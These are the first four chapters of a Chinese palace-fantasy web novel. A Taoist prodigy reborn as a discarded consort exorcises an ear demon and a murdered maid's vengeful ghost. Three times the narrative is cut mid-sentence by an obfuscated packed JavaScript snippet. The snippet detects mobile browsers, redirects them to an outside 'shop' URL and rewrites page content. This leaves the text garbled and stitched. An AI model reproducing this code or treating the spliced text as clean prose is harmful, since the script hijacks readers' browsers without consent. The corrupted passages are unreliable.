《开局冷宫不影响我封神》 1. 第 1 章 李令曦是被活活冻醒的。 天雷焚身的剧痛仿佛就在上一刻。可一睁眼,看到的却是蛛网密布的房梁,身上盖着的是又薄又硬的破被子,还有一股子好大的霉味。 她,玄门千年不遇的天才,距离飞升只差临门一脚,结果……竟然来到了这鸟不拉屎的冷宫,成了个爹不疼娘不爱皇帝老子抛弃快的废妃。 “咕噜噜……”肚子不合时宜的叫起来,已是饿的前胸贴后背。 “娘娘,您醒了。”一个细弱的声音传来。 小宫女雪芽凑过来,从怀里掏出一个用手帕包着的东西,层层打开,露出两个干瘪的馒头:“奴婢……奴婢偷偷藏了两个,您快垫垫肚子。” 馒头又干又硬,还被冻得硌牙,但对此刻的李令曦来说,已是救命粮。 她刚要伸手去接。 “砰”一声巨响,门被一脚踹开,冷风灌了进来。 一道窈窕鲜艳的身影,被几个宫女前呼后拥着,堵在了门口。 来的不是别人,正是如今风头正盛的欣妃。 她比李令曦早两年入宫。一直将容貌出众、性子清冷的原主视作眼中钉,二人势如水火。 “呦,本宫当是谁呢?原来是咱们尊贵的前曦妃娘娘啊。” 郑月欣拿手帕掩着鼻子,眼里的鄙夷和得意毫不掩饰:“这冷宫的滋味如何啊?听说连炭火和热食都没有。哎呀,可真是糟蹋了妹妹这千金之躯呢!” 她目光一扫,落在雪芽手里那两个馒头上,嘴角勾起一丝笑,上前一步,抬脚就踩了上去。 “这种猪都不吃的东西,也配入我们曦妃娘娘的口?” 绣鞋狠狠碾过,将那点救命的吃食碾进了肮脏的泥土里。 雪芽“哇”的一声哭了出来,扑上去想抢回来,却被郑月欣身后的嬷嬷一巴掌扇倒在地。 “你个死贱婢,冲撞了欣妃娘娘,你有几个脑袋?竟敢背着主子偷厨房的东西,还拿来救济一个废物,果真是娘胎里带来的下贱,一样的贱胚!” 李令曦一动不动,主要是饿得没力气了,唯一能动的眼睛缓缓眨了眨,落在了郑月欣的耳朵上。 确切的说,是落在她耳朵深处那一点常人察觉不到的晦暗气息上。 哦?耳妖? 虽然等级很低,但却能折磨得人寝食难安。 这种妖邪,专门吸食人负面情绪滋生出来的秽气,尤其喜欢夜深人静时,在宿主的耳中制造噪音,让人不得安宁。 看来,这位欣妃娘娘的日子,也没表面那么风光嘛。 见李令曦不仅没像预想中那样痛哭流涕或愤恨咒骂,反而用一种古怪的眼神盯着自己。郑月欣心里莫名一毛,随即怒火中烧,破口骂道: “贱人,你看什么看?你以为你还是那个高高在上的曦妃吗?你现在,就是个连狗都不如的弃妃!本宫要碾死你,比碾死一只蚂蚁还容易!” 李令曦忽然笑了。 她脸色苍白,嘴唇冻得发紫,身上穿着单薄破旧的宫装。 可这一笑,竟带着一种洞悉一切的从容,让郑月欣嚣张的气焰莫名被压了下去。 “郑月欣。”李令曦声音不大,可说出的话却似一记惊雷,“你最近……睡得不怎么好吧?” 郑月欣顿时一愣。 李令曦继续道:“每夜子时过后,你耳边是否总有窸窸窣窣的声响,有时像虫鸣,有时又像有人对着你窃窃私语搅得你心烦意乱,难以入眠,甚至头痛欲裂。” 这下,郑月欣的脸色彻底变了。 她最近确实夜不能寐,耳边总有怪声,御医看了好几个,都说是思虑过度。开了安神汤也不见好,反而愈发严重。 这事她瞒得很紧,连贴身宫女都不知道。而李令曦这个被打入冷宫的贱人,怎么会知道的? “你、你胡说八道什么?”郑月欣强装镇定,色厉内荏的呵斥,“本宫好的很!少在这里妖言惑众!” “是吗?”李令曦语气平淡,目光却像能穿透她精心打扮的皮囊,直抵痛苦的根源,“我观你的气色,晦暗缠耳,那东西怕是已经快钻到深处了。再不处理,恐怕就不只是睡不着觉那么简单了。” 她顿了顿,“比如在某些重要的场合,突然控制不住自己,甚至引发血光之灾……” “闭嘴,你这个贱人!少在这里诅咒本宫!” 郑月欣像被踩了尾巴的猫,尖声打断她,可心里却掀起了惊涛巨浪。这贱人说的怎么如此之准?难道她真的知道什么? 不,不可能!一定是这贱人瞎蒙的,想吓唬她! “李令曦,你少在这里装神弄鬼,本宫看你是在冷宫待久了,得了失心疯!晦气!”她压下心头的不安,用恶毒的语言攻击着:“你一个被打入冷宫的废物,还妄图学江湖术士作些无稽之谈,简直可笑之极!” “你就等着在这里被冻死饿死吧,我们走!” 几人大摇大摆,毫不在意地走了。 雪芽擦去眼泪,匆匆将攒下的一点生米塞到李令曦怀里,叮嘱道:“娘娘,永春宫主子要午睡起来了,我得赶紧回去伺候着。下回再来看你。” 小丫头十五六岁的样子,絮絮叨叨的,倒像个老成的长辈。 她白皙的脸上还残留着明显的红色掌印。 李令曦心中既感动,又愧疚。 “谢谢你,雪芽,刚才是我连累你了。” “没关系娘娘,不怎么疼的。” 雪芽笑了笑,露出浅浅的梨涡。 李令曦盯着她的脸仔细看了看,神色忽而严肃起来。 在雪芽身上,她感受到了淡淡的鬼气。后宫这吃人的地方,怨气还真是重啊。 “先别急着走,去屋里帮我拿纸和笔来。” 虽不明就里,雪芽还是照做了。 李令曦将纸裁成小张,又在上面龙飞凤舞地画了几笔。 雪芽好奇地问道:“娘娘,您这是在做什么?” “这是护身符,收在身上别弄丢了。回去的时候千万别在树下停留,记住了吗?” “嗯,奴婢记住了。” 雪芽向来对李令曦的话言听计从,她将符叠好藏在胸前,便匆匆离开了。 午时将尽,阳光顶头照耀,可还是十分阴冷。 雪芽一路迈着极快的步伐,为了避人耳目,她来冷宫一向是走的捷径。这条路上平时人不多,午时更是空无一人。 寒风不时吹过,雪芽缩了缩脖子。 总觉得冷飕飕的。 即将经过一座极僻静的院落,雪芽向前张望,恍惚间看见一抹异常鲜艳的红影从树枝缝里缓缓飘过。 她眨巴着眼睛,以为看错了,好奇心驱使着她向前,想一探究竟。 没走几步,天色忽然大变。 狂风四起,乌云密布,一片昏暗。 雪芽脑中忽然浮现李令曦的话,不禁打了个寒战。 她急忙刹住脚步。 阴风阵阵,伴着骇人的呼啸声,裹挟着雪芽周身。 耳边隐约传来渗人的女子笑声。 “嗬嗬……嗬嗬……” 雪芽吓得紧紧闭上双眼。她能感觉到有一股阴湿的冷气,酥酥麻麻的,正缓缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郑月欣心头一紧,赶紧挤出柔媚的笑容:“谢皇上关心,臣妾无碍。只是……只是有些被这暖和的热气熏着了。” 她端起面前的酒杯,想借喝酒掩饰一下,可就在酒杯递到唇边的刹那。 忽然,她感到耳膜像被针扎破了般,剧烈的疼痛感袭来。 同时,一个尖细聒噪的声音在耳中响起。 “皇后不会又和皇帝闹别扭了吧?皇帝这假惺惺的样子,莫非是假装深情?” “皇后之前意外流产了,到底是怎么一回事啊?” “上吊自杀的刘美人,听说是被人给害死的,现在回来复仇了……” “咦?福荣公主今日怎么没来赴宴,难道又跑出宫找男宠幽会去了?” 那声音喋喋不休,一个问题接一个问题,冲击着耳膜,快要把耳朵给炸开。 “啊——!” 郑月欣再也无法忍受,猛地丢掉酒杯,双手死死捂住自己的耳朵,整个人从座位上弹了起来。 “滚!滚开啊!什么东西在我耳朵里出来,赶快出来!” 她疯狂地抓挠着自己的耳朵,尖利的指甲在娇嫩皮肤上划出了几道血痕。 头上戴着的珠钗被她的动作甩飞,掉在地上,发出清脆的声响。 精心梳理的发髻被抓得一团糟,衣服也被扯得凌乱不堪。 满座皆惊。 丝竹声戛然而止。 2. 第 2 章 所有人的目光都震惊地聚焦在这个突然发疯的妃子身上。 皇帝的脸色瞬间沉了下来,皇后也皱紧了眉头。 “欣妃,你在做什么?”萧旭的声音中带着压抑不住的怒气。 可郑月欣此刻已被耳中那噪音和剧痛折磨的失去了理智,她只觉得有无数只虫子在耳朵里钻,在啃她的脑子。她听不见皇帝的问话,也看不见周围人惊讶的目光,只顾着疯狂抓挠,尖叫跺脚,活脱脱一个疯婆子。 “快摁住她!”皇后厉声下令。 几个嬷嬷宫女慌忙向前,七手八脚想制住她,却被疯狂挣扎的郑月欣推搡得东倒西歪,场面一片混乱。 “御医!快传御医!” 当值的御医匆匆赶来,一番诊视,却脸色发白,汗如雨下,他根本查不出欣妃的耳朵有什么问题啊…… 于是,只能支支吾吾回道:“回皇上,欣妃娘娘脉象急促紊乱,似、似乎有心疾突发之兆,臣……臣……” “废物!”萧旭看着还在发疯的郑月欣,尤其是看到她那耳朵被抓得鲜血淋漓的惨状,只觉得无比晦气。 堂堂三品妃子,竟然在皇后的生辰宴上闹出这等丑事! 他脸色阴沉得像是能滴下冰来,沉声下令:“欣妃郑氏,殿前失仪,德行有亏,惊扰圣驾,冲撞皇后。即日起夺其封号,降为才人!并赐字静,迁居西苑偏殿,无诏不得出!” 郑月欣顿时瞪大了双眼,惊慌失色。 她熬了五年,好不容易升为妃位,一下就连贬七级,打回等级最低的才人,还在众目睽睽之下,被赐了这样一个有警告意义的封字。 这无疑是天大的打击。 “不要啊皇上,求您开恩啊!我真的不是故意的,您相信我……” 看着像疯婆子一样歇斯底里的郑月欣,萧旭眼底闪过一丝嫌恶。 “来人,把静才人拉下去!” 郑月欣又连忙冲沈青宛磕头:“皇后娘娘,您替臣妾说句话啊,求求您了……” 两个侍卫上前,利落地将郑月欣拖了出去。 众妃神色各异,却无一人出言阻止。 …… 西苑偏殿,比冷宫也好不到哪去,冷得像冰窟一般。 欣妃——哦不,现在已经是郑才人了,正缩在冰冷的床榻上。她耳朵里的怪音非但没有消失,反而变得更加猖狂尖锐,吵的她几乎要崩溃。 御医来了几拨,汤药灌下去无数,甚至用了针灸,艾灸,全都毫无用处。 她感觉自己快要被逼疯了。绝望之中,李令曦那张苍白却带着洞悉一切笑容的脸,突然浮现在她脑海中。 难道……她真的知道是怎么回事儿? 那个贱人! 郑月欣恨得咬碎了一口银牙,让她去求那个被自己踩在脚底的弃妃,这比杀了她还难受! 可是……耳朵里的声音越来越响,再这样下去,她真的会疯,甚至会死的! 挣扎了三天,在又一个被折磨得彻夜未眠的清晨,郑月欣终于撑不住了。 她裹着一件旧斗篷,遮住了狼狈的容颜,如阴沟里的老鼠,偷偷摸向了那座她曾趾高气昂踏足过的冷宫。 “吱呀”一声。 破门被推开时,李令曦正坐在唯一的一张破椅子上,慢条斯理的将最后一点冷馒头喂进嘴里。雪芽蹲在旁边,用小炉子烧着一点可怜的热水。 看到郑月欣进来,雪芽吓得一哆嗦。 李令曦却连眼皮都没抬一下,仿佛早就料到她会来。 “李……”郑月欣艰难地开口,“曦、曦妹妹……” 她声音沙哑,带着屈辱的哭腔:“救我……救救我……我、我耳朵里的东西……” 李令曦这才缓缓抬眼,目光平静地扫过她憔悴不堪的脸。 “哦?”她轻轻发出一点鼻音,带着点玩味,“郑才人,这是求人的态度?” 郑月欣浑身一颤,指甲深深掐进了掌心。她犹豫片刻,随即“扑通”一声跪在了冰冷的地面上,眼泪混着屈辱滚落:“曦妹妹,以前都是姐姐猪油蒙了心,是姐姐不对!姐姐给你磕头了!求您大人有大量救救我吧!我实在是受不了了……” 说着,她竟真的“砰砰”磕起头来。 李令曦看着她这副卑微到尘埃里的模样,心里毫无波澜。 若不是被逼到绝路,像她这种人,是绝不会低头的。 “救你,可以。”李令曦终于开口,“不过我有条件。” “你说!你尽管说!”郑月欣急切地抬起头。 “炭火,上好的银丝炭,先送十斤过来。”李令曦拢了拢身上的旧宫装,语气理所当然,“另外,白银一千两。” 郑月欣顿时倒抽一口凉气——十斤银丝炭,一千两白银! 这对现在的她来说,几乎是全部的家当。 这贱人怎么不去抢? 可是,她却不敢拒绝:“给!我给!”她咬着牙应下了。 李令曦点了点头,似乎还算满意。然后她微微前倾身子,看着郑月欣充满怨恨和恐惧的眼睛,唇角勾起一丝淡淡的弧度:“东西送到,我自会帮你暂时压制。不过……”她顿了顿,一字一句清晰地道,“你记住,不是请我,是求我。” 郑月欣的脸瞬间血色尽失,可她只能低着头,从牙缝里挤出声音:“是求……求你。” “很好。” 李令曦挥了挥手,“去准备吧。等东西到了,你耳朵里的东西,自然能安分几天。” 郑月欣几乎是爬着离开冷宫的。 两天后,十斤银丝炭和一千两白银,果然被偷偷送进了冷宫。李令曦立刻就用了起来,将破败的小屋烧得暖烘烘的。 雪芽在一旁烤着火,小脸终于有了点红润。她看着那些银丝炭,还是有些不安:“娘娘,您真的帮了郑才人,她以前那么对你……” 李令曦端起粗糙的茶杯,轻轻啜了一口热茶:“耳妖这种东西,最喜怨气憎恨滋养。我不过是暂时让它安睡一会。郑月欣若能就此安分,或许还能多活几年。如若不然……” 她没再说下去,只是唇角那抹似有若无的冷意,让雪芽打了个寒颤。 不久后,李令曦买通的一个小太监果然前来报信。 “曦、曦妃娘娘,郑才人她……出大事儿了!” 李令曦眉眼未动,只淡淡道:“说吧。” 小太监咽了口唾沫,竹筒倒豆子般说起来。 原来郑月欣被贬为才人后,虽暂时靠李令曦的手段,让耳中的怪音消失了几天,但她心中积攒的郁气、怨气、不甘却与日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她轻声自语,像是叹息,“心存恶念,自招妖邪;行差踏错,万劫不复。一切,不过是咎由自取。” 屋外,寒风卷着残雪呼啸而过。 屋内,银炭烧的正旺,噼啪作响。 茶香袅袅,暖意盎然。 她轻轻品了一口茶。嗯,用仇人送来的银炭和银钱换的茶,滋味确实不错。 见雪芽准备走,她拿出一锭十两的银子:“雪芽,这个给你拿着用。” 从未见过这么多银子,雪芽惊呆了,她惶恐不解地望向李令曦。 李令曦自信一笑:“这钱都是我挣的,以后我还会挣很多很多钱,你就放心拿着吧。” 雪芽伸手去接,伸出的一截手臂上露出几道紫红色的淤痕。 眼尖的李令曦注意到了,眼神顿时一变:“这是谁干的?” “是……永春宫的管事冯嬷嬷,她嫌我干活慢,吃的多。” 雪芽一边说,一边观察李令曦的脸色,宽慰道:“娘娘放心,除了冯嬷嬷,永春宫的其他人对我都挺好的。” 自李令曦进宫起,雪芽就一直在她身旁伺候。她被打入冷宫后,雪芽被分到了如今的齐嫔宫里伺候,整日待在厨房当个粗使丫头,日子勉强过得去。 李令曦没说话,只是拉起雪芽的衣袖仔细检查了一番,发现了好几处伤痕。 她脸色愈发沉重。 这个姓冯的老虔婆,怕是嫌自己寿命太长了吧。 3. 第 3 章 她又给了一锭银子,交待道:“回去后找门路买些上好的药膏,把伤养好,若是冯婆子再有其他恶行,告诉我,我定不会让她好过。” “嗯!”雪芽重重点头。 回到永春宫时,冯嬷嬷正恶狠狠地教训一个小宫女,只是因为交班时,小宫女跟一个小太监说了两句话。 “你个小浪蹄子,整日不好好干活,就知道勾搭男人!” 小宫女迫于淫威,不敢反抗,委屈地直掉眼泪,眼泪一颗颗地滴落,好不可怜。 谁知这却引起了冯嬷嬷更大的怒火。 她一把捉住小宫女的胳膊,使劲一拧:“还说你不是成心的,你哭成这样给谁看呢?是不是就想让男人心疼你,你个下作的小骚货!” “我不是,我没有……呜呜呜……” 不远处站着几个宫女,却没人敢过来劝阻,否则那些难听的秽语和粗暴的殴打就会落在她们头上。 雪芽咬咬牙,走上前去,赔着笑脸塞给她一把铜钱:“冯嬷嬷,您大人有大量,就饶了雨兰这回吧,我从前头过来,主子说正找您有事呢。” 冯嬷嬷歪着嘴冷哼一声,这才放下手,屁股一扭一扭地离开了。 她走后,几个小宫女才围上来为雨兰打抱不平。 “冯嬷嬷真是太过分了,整天不是打这个就是骂那个。” “就是,咱们谁没受过她的折磨,简直不把我们当人看。” “背地里对我们这么坏,到了主子面前却惯会逢迎讨好,笑面虎一个。” …… 说归说,大家也只敢私底下议论几声,毕竟在这等级森严的宫里,权势就是力量。 雨兰擦了擦眼泪,握住雪芽:“谢谢你。” “客气啥,咱们呀,是同病相怜。”雪芽叹了口气。 晚上回屋后,雪芽将买来的药膏分给了雨兰一些。两个人累了一天,很快便睡着了。 大清早,天还未全亮,一声凄厉的尖叫穿透了晨曦。 “啊!好疼——” 冯嬷嬷是被钻心蚀骨的剧痛给疼醒的。 她颤巍巍地伸出手,摸向疼痛的来源,却只摸到一块诡异的凹陷。指尖还传来粘稠的触感。 她用仅剩的左眼看向手指,登时吓的魂飞魄散:“血!好多血!!” 她急忙去拿镜子,一照,顿时惊得从床上跌落下来——她的右眼竟被活生生挖掉了! “快来人啊!” 冯嬷嬷爬起来,跌跌撞撞闯出房门,她衣衫不整,脸上一个血糊糊的大窟窿,左半边脸全是血,手上也是。 众人被惊醒,赶来时看到就是这幅令人惊骇的场面。 冯嬷嬷踉跄着走下台阶,声嘶力竭地喊道:“谁看到我的眼珠子了?快说,到底是哪个黑心肠的小贱蹄子干的!” 大家又惊又怕,带着一丝厌恶,不约而同后退了一步,小声议论着: “太可怕了,好端端的怎么眼珠子就没了。” “我看呐,准是冯嬷嬷平日里作孽做多了,惹得人报复。” “咱们这些下人谁有这胆量啊,说不定不是人,是鬼干的……” 眼珠子虽没了,但冯嬷嬷耳朵还挺灵光,她将众人的议论尽收耳底。 捕捉到那个“鬼”字时,她心里猛一颤抖,喃喃低语:“不……不会的,不可能是……” 定是哪个要死的小蹄子害的,我一定要找出来! 她恶狠狠地瞪着众人,一张老脸血迹纵横,甚是骇人。 冯嬷嬷立马派了几个信得过的手下去调查,却一无所获。 白昼一过,子夜已至。 寂静的宫墙内,一缕灰白的幽魂缓缓飘来,向着冯嬷嬷的住处去了。 不一会儿,又飘了出来。 月光下,依稀可见那是个年轻女子,脸色惨白,双目泣血。 翌日清晨,永春宫彻底陷入了慌乱——冯嬷嬷的另一只眼也被活生生挖走了! 如今她脸上两个黑乎乎的大洞,还往外渗着血,见者惊心,闻者侧目。 人人惧怕不已,各种猜测和担忧四起。事情太过诡异,惊动了永春宫的主子齐嫔。为了不让事情闹的更大,齐嫔正欲想办法查清此事,却又无从下手。 雪芽踌躇不已,终于还是下了决心去求见齐嫔。 “娘娘,奴婢知道您正为冯嬷嬷的事担忧,奴婢认识一位这方面的高人……” 怕齐嫔不相信,雪芽特地把护身符和郑月欣中邪的事情说了。 齐嫔颇有些吃惊。郑月欣的事她也有所耳闻,只是没想到,这化解危机的高人,竟是从前的曦妃娘娘。 虽还有些狐疑,但情况紧急,也只能一试。 雪芽赶紧去冷宫找李令曦,在来的路上,她把情况简要地向李令曦说明了。 李令曦到的时候,冯嬷嬷正躺在床上叫苦不迭,一个劲儿的向齐嫔哀求:“娘娘,老奴命苦啊,不知是从哪招的这倒霉事,害得娘娘您不得安宁,是老奴该死啊!娘娘您可得为老奴做主啊……” 齐嫔心宽,无意争宠,只想过安静日子,只是念及冯嬷嬷平日在跟前殷勤伺候,倒也生了体恤之心,她轻声安慰道:“嬷嬷你放心,本宫会查个清楚的。” 一进院子,李令曦就察觉到一股阴冷之气袭来,是和古井里一样的鬼气。 她径直去了冯嬷嬷房间,里里外外打量了一眼,心里已有了答案。 听见冯嬷嬷喋喋不休诉苦,李令曦摇摇头冷笑一声。 这冯婆子,还真是朵老莲花啊。 齐嫔走出寝宫,见李令曦在门外,眼里有些惊喜:“曦姐姐,你来了,你快帮我看看这究竟是怎么回事。” 李令曦点点头,目光在冯嬷嬷脸上停留了片刻,开口道:“你的眼珠子,就在后院那口废弃的古井里。” 冯嬷嬷惊得起身下床,声音颤抖,带着无法忽视的恐惧:“果真是那小蹄子搞的鬼,大师娘娘,求您帮我收了她吧,不要让她再出来害人了!” 齐嫔听得有些疑惑,问道:“古井里……‘她’又是谁?跟嬷嬷你到底有何冤仇?” “还不是桃月那个死丫头。” 冯嬷嬷一脸恨铁不成钢。 “一年前,桃月伺候主子时心不在焉犯了错,我就责罚她了几句。后来她竟变本加厉,偷偷变卖主子的首饰。我发现后好心提醒,她却死性不改,还在心里记恨我。” 齐嫔微微颔首:“我想起来了,确是有这么些事,当时嬷嬷你还在我面前替桃月求情了。” “是啊,我跟桃月这丫头是同乡,总想着多照顾些,平日里对她也比旁人要上心。可谁曾想她是个心术不正的。她干了错事,我想帮她纠正,所以总是苦口婆心地劝她。” 说着说着,冯嬷嬷又是摇头又是叹气:“都怪我太心软了,对她的姑息终究还是酿成了大错,若是一开始就严厉惩处,说不定桃月也不会走到那一步……后来她越来越肆无忌惮,毫无规矩,有一天夜里我起夜,发现她竟然在假山后面跟一个男人扭在一起。” “两个人浑身衣不蔽体,那场面,真是太有伤风化了!如此没脸没皮,做出这等秽乱宫闱之事,这要是 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说着说着,她忽然拔高了音量:“我老婆子的贱命不值什么,就怕她迷了心,会迁怒于娘娘您啊!” 李令曦翻了个白眼。这老家伙还真是能说会道,一下子就转移了矛盾的焦点。 “这……” 齐嫔心里泛起了涟漪,求助的眼光望向李令曦:“曦姐姐,你有什么办法吗?” 李令曦淡淡道:“办法有,先给钱,后捉鬼。” 齐嫔招手叫来宫女:“去我房里拿银子去,不知曦姐姐收费多少?” “一百两。” 齐嫔虽觉得有些超出预期,但也能够接受。 冯嬷嬷却不同意了,想当年她在乡下时也遇到过别人请大师做法事,顶破天也就十两银子,哪有这么贵。 再说,之前可从未听说过曦妃还有这种本事,怕不是空口大话,糊弄人的吧? 冯嬷嬷怀疑地质问道:“不就是除个怨灵而已,怎么就要一百两这么多?娘娘您可千万别被骗了。” 李令曦懒得搭理冯嬷嬷,直接走到她跟前。 “这钱不用齐嫔,须得您老人家出,少一个子儿,都不行。” 冯嬷嬷顿时坐起了身,激动地喊道:一百两?!我老婆子就是个下人,平日里深居简出,哪里能掏的出这么一大笔钱?你这不是要我的老命吗?” 她捶胸顿足,声泪俱下(泪已经流不出来了):“我真是命苦啊,好端端的被恶鬼缠上,还要被人勒索钱财,我还不如一头死了算了……” 说着,她就装模作样地往下爬,一边干嚎,一边循着声音给齐嫔跪下。 一哭二闹三上吊的招数虽被用烂了,但总是有效。 毕竟是自己身边伺候多年的老人,齐嫔有些于心不忍:“曦姐姐,这钱……要不我替冯嬷嬷出些吧。” 李令曦摇头,“万般皆因果。谁招惹的恶鬼,就由谁出钱解决。更况且这一百两,冯嬷嬷绝对拿得出来。” 冯嬷嬷一听,脸上顿时闪过一丝不自在,也不哀嚎了。 “一百两实在太多了,那可是我攒了一辈子的养老钱……能不能便宜点?” 李令曦退后一步,准备转身出去:“钱不到位,灾必难除,嬷嬷你今晚——可要挺住了。” 听见李令曦的声音越来越远,冯嬷嬷漆黑的眼前忽然浮现一张脸。 那张脸似泡胀了般呈灰白色。 上面两个血乎乎的洞直直盯着她。 然后咧嘴一笑。 “啊——!” 4. 第 4 章 冯嬷嬷浑身一抖,忙不迭从床上滚下来,伸出手欲挽留李令曦。 “曦妃娘娘,我出,我出还不行嘛,求您千万要帮我啊!” 李令曦收回已迈出门槛的一只脚。 因桃月的鬼魂今夜子时出现,为了方便,齐嫔就在冯嬷嬷隔壁给李令曦安排了住处。 是夜,四下皆黑,一轮发红的圆月高悬夜空。 子时一过,周遭的温度便骤然下降了不少。各个房内都静悄悄的,众人都未入睡。 李令曦慵懒地靠在廊前的柱子后,阖着双目。 一抹白色身影飘来,速度很快。 顷刻间,冯嬷嬷凄厉高亢的尖叫在屋内响起: “她来了!娘娘!救命啊,快来人啊!” 忽而,声音小了,变得有些含糊不清。 “唔……救……救命……呃……” 听起来像是被掐住了喉咙。 李令曦等的差不多了,睁开双眼,一脚踢开房门。 月光照进房内,一个身影正死死地压在冯嬷嬷身上,听见门口的动静,一张没有双眼的脸猛然抬起。 黑洞洞的两个圆孔,往下渗着血。 见到有人来,那脸迅速变得更加狰狞,且凄怨。她咬着牙,阴恻恻地吼道:“这老太婆她该死!你们为什么还要救她?” “为什么?!” 她愤怒不已,掐着脖子的双手逐渐加重力气,瘦弱的手上青筋暴起。 冯嬷嬷张大了嘴,呼吸困难,直翻白眼,勉强挤出声来:“曦妃娘……救我……呃……” 见冯嬷嬷确实快不行了,李令曦用手指在掌心画了一个符咒,向桃月拍去。 下一瞬,桃月的鬼魂猛然一震,向后弹去,跌坐在墙边。 她咬牙切齿,欲起身向李令曦扑来,却发现自己浑身动弹不得。 冯嬷嬷得救了,连忙喘了几口气,心有余悸地爬下了床,跌跌撞撞来到李令曦身后。 见此情形,桃月突然笑了:“作恶的苟活,蒙冤的惨死,无人为我伸冤,我连给自己报仇都做不到。真是苍天无眼啊,可恨,更可笑,哈哈哈哈哈……” 寂静的深夜里,桃月的笑声听着很是突兀吓人。 然而任谁都听得出,这笑声里更是藏着无奈和悲痛。 永春宫的下人们见鬼魂被制止住了,便大着胆子来看个究竟,见到桃月的真容,大家忍不住小声议论着。 “原来这就是鬼啊,确实挺吓人的……” “曦妃娘娘可真厉害,一出手就制住了!” 一旁的雪芽听了,不禁露出与有荣焉的笑容。 冯嬷嬷怕极了,摸索着来到李令曦身后,下意识地想抓住她的衣角。 “娘娘,这恶鬼害得老身好惨,您快用法术将她打的魂飞魄散,永世不得超生才好!” 李令曦皱眉,抬起脚使劲一踹,将冯嬷嬷甩得老远。 桃月双手紧紧攥住,浑身怨气散发:“你个狠毒的老太婆,我要跟你拼了!” 她一动,身上就会浮现无形的金色丝线,挣脱不了。 桃月将怨气转向李令曦:“快放开我!你知不知道姓冯的对我做了什么?!你到底为什么要帮她?” 李令曦上前,语气和缓地道:“桃月姑娘,你先静下来,否则会吓到宫里其他人。” 看了眼身后的众人,她顿了顿,继续道:“我并非要帮冯嬷嬷。” “那你为何受她之托,将我困住?” “为了帮你。” “帮我?” “现在我们大家都在这里,你跟冯嬷嬷之间的事,就可以水落石出了。我想,你肯定不愿自己在死后还蒙受不白之冤吧。” 桃月愣了愣。 众人也都露出疑惑的眼神。 不白之冤?难道桃月的死并不像冯嬷嬷说的那样? 冯嬷嬷顿时惊慌起来:“曦妃娘娘,您可千万别被这个贱蹄子给骗了呀,她死了都让人不安生——” 李令曦不耐烦地喝道:“将她的嘴给我堵严实。手脚也捆住。” 雪芽连忙照做。 李令曦手指轻轻一点,桃月身上的束缚解开了,她站起身,大家不约而同向后一退。 “不用担心,桃月虽是鬼,却并不会害其他人。” 桃月点头:“没错,我死不瞑目,冤气郁结,无法投胎,只想找害我的人报仇。” 接着,桃月开始讲起了与冯嬷嬷所述完全不同的往事。 “冯嬷嬷身为永春宫掌事,却苛刻宫女,动辄打骂。不知为何,她对我好像比对旁人更严苛,有时只是一点微不足道的小错误,她便会用竹鞭抽打我,打的很狠。” “后来我才知,她其实是讨厌我的。而原因更是离谱——只因我与冯嬷嬷年轻时的讨厌的人来自同一个地方!她说,每次见到我,就会让她想起那个贱女人。” “冯嬷嬷心爱的男子娶了那个女人,她心里一直对此耿耿于怀。所以,她便把这莫须有的怒火转嫁到我身上。动不动就骂我狐媚子,浪蹄子,找着机会就对我施暴。” 桃月拉起衣袖,只见她身上到处都是被毒打的痕迹。有棍棒,有竹鞭,甚至还有烫伤。这些痕迹在桃月死后不仅没有淡去,反而越来越明显。 惨不忍睹。 “唔……唔……” 冯嬷嬷挣扎着,还想为自己辩解。 李令曦直接上去就是一脚。 冯嬷嬷膝盖一弯,跪在了桃月面前。 桃月继续说道:“后来有一天,我起夜,在假山后面撞见了两个人在行苟且之事。” 有人惊讶道:“可冯嬷嬷不是说是你和别的男子——” “她撒谎!明明是她利用自己的职权,引诱一个长相俊俏的年轻太监与她对食!” 众人纷纷惊掉下巴。 老嬷嬷和小太监……这么惊爆? 桃月回忆起那天晚上的情形。 “当晚月光很亮,我清楚地看到那女人的脸,分明就是冯嬷嬷。我还听到,她许诺给那太监不少好处,后来那太监便调入了别的宫殿,还升了职。” “因被我撞破奸情,冯嬷嬷怀恨在心,设计在主子面前陷害我,让我犯错。然后她便借此机会诬陷我行不轨之事,将我关在柴房,表面上说是为了处罚我。实际上,却背着众人硬生生将我双眼剜掉,再将我用乱棍打死!” 桃月声音里充满了怒气:“之后,为了掩盖痕迹,她又派人将我的尸身用破布紧紧包裹,缠上麻绳,趁着月黑风高,偷偷扔进荒废院子的古井里!” 雪芽忍不住骂了句:“做出这样的事,简直是禽兽不如,太歹毒了!” 雨兰也附和道:“这冯嬷嬷不仅狠毒,竟还与年轻太监勾结,真是老不羞!” “就是就是,还好意思天天骂我们小蹄子,一大把年纪了自己才是个不检点的,真好意思!” “害人性命,天理难容,难怪桃月姐姐做鬼也不放过她,活该!” “要我说,只挖了眼珠子还算便宜她了,这种人就该下十八层地狱!” 指责和斥骂充斥耳边,冯嬷嬷又气又急,一张老脸时而青,时而红。 这下终于真相大白了。 桃月因冤情得以说出,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980565|193563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口那股怨气顿时消散了不少。 她跌坐在地,无力地苦笑着:“我明明什么都没做,却被这个老虔婆残忍杀害,死了还要背负污名,我这才不甘心,化作厉鬼也要找她算账……” 见桃月说的差不多了,李令曦自袖中拿出一个比巴掌略大的人偶。 那人偶很是诡异。 